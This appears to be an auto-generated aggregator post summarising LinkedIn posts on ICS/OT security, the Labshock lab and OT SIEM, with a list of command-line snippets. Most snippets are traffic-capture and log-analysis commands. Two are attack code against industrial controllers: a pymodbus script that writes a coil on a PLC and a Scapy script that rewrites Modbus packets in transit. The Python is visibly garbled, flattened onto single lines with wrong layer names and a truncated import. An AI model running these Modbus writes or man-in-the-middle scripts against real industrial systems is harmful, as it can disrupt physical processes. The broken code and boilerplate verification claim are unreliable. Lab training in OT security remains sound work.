Over the past two weeks, Zakhar Bernhardt shared key insights on ICS/OT Security, focusing on Labshock and OT SIEM. Below are the extracted cyber-related URLs and a detailed breakdown of the topics covered:
Key Topics Covered:
1. OT SIEM Leveling Guide 1–60
- Network Analysis Skill – Understanding IP, Ports, and Sockets before packet inspection.
🔗 https://lnkd.in/d7Yt3vwZ - The Air Gap Myth – Why it’s gone and how to secure modern OT environments.
🔗 https://lnkd.in/d3AqtUHP
2. Labshock Updates & Demos
- Labshock v1.6 Released – Added Pentest Fury and a unique Web-based Framework.
🔗 https://lnkd.in/dHU95H7v - Multiple PLC Instances – How to spin up and test 10+ PLCs in Labshock.
🔗 https://lnkd.in/dQHQuhQS - Modbus Direct Attacks – Writing attacks to coils and registers.
🔗 https://lnkd.in/d6eKvgVv - Modbus MITM Attacks – Modifying payloads in real-time.
🔗 https://lnkd.in/dH5exsvC - Community Demo (Jaroslav Krbec) – Simulating a SCADA/PLC hack using Labshock.
🔗 https://lnkd.in/dWQ_DfkH
3. General Posts
- Virtual PLCs – Vendor support and why virtualization is the future.
🔗 https://lnkd.in/d6-MXZyC
You Should Know: Practical ICS/OT Security Commands & Techniques
1. Network Analysis in OT Environments
- Wireshark Filter for Modbus Traffic:
tcp.port == 502 && modbus
- Check Open Ports in OT Networks:
nmap -sT -p 502,20000-20010 <OT_Device_IP>
- Capture Industrial Traffic with Tcpdump:
tcpdump -i eth0 -w ot_traffic.pcap port 502 or port 44818
2. Modbus Attack Simulation
- Write to Modbus Coils (Python Script):
from pymodbus.client import ModbusTcpClient client = ModbusTcpClient('192.168.1.100', port=502) client.write_coil(0, True) Write to coil address 0 - Modbus MITM with Scapy:
from scapy.all import def modify_modbus(pkt): if pkt.haslayer(TCP) and pkt[bash].dport == 502: pkt[bash].load = b'\x00\x01\x00\x00\x00\x06\x01\x06\x00\x01\x00\x01' Modified payload sendp(pkt) sniff(filter="tcp port 502", prn=modify_modbus)
3. Virtual PLC Deployment
- Run a Modbus Simulator (Docker):
docker run -d -p 502:502 --name modbus_simulator fuzzthepig/modbus-simulator
- Test PLC Connectivity:
modbus-cli --host 192.168.1.100 --port 502 --type tcp read_coils 0 10
4. OT SIEM Log Analysis
- Extract Suspicious OT Traffic (ELK Stack):
grep "Modbus" /var/log/suricata/eve.json | jq '. | select(.alert.signature == "Modbus Exception")'
- Zeek (Bro) OT Traffic Logging:
zeek -i eth0 -C -s modbus.zeek
What Undercode Say
The evolution of ICS/OT security demands hands-on expertise in network analysis, Modbus exploitation, and virtual PLC testing. Tools like Labshock, Wireshark, Scapy, and Modbus simulators are critical for red teaming and defensive hardening. Future attacks will likely exploit legacy OT protocols (DNP3, Profinet), making traffic decryption, anomaly detection, and real-time MITM prevention essential skills.
Expected Output:
- Detected Modbus anomalies in SIEM logs.
- Successful MITM attack simulation on PLCs.
- Virtual PLC instances running in Labshock for training.
Prediction
- DNP3 Protocol Attacks will rise in 2024-2025 as attackers shift focus from Modbus.
- AI-driven OT anomaly detection will become standard in SIEM solutions.
- Virtualized ICS labs will replace physical testbeds for cost efficiency.
For more updates, follow OT SIEM Discord and explore Labshock’s latest releases. 🚀
References:
Reported By: Zakharb Last – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
